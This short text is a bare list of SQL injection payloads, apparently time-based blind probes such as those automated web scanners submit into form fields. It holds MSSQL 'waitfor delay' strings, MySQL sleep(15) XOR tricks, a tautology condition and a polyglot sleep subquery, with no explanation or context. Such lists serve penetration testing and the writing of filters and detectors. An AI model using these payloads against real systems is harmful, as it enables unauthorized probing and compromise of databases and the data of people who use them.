1-1)); waitfor delay '0:0:15' --

-1" OR 5*5=25 or "1rEsfhOz"="

1-1 waitfor delay '0:0:15' --

if(now()=sysdate(),sleep(15),0)

1VX1DBELD'; waitfor delay '0:0:15' --


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1nsqgCmHK'); waitfor delay '0:0:15' --


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1OIQVJk4B')); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/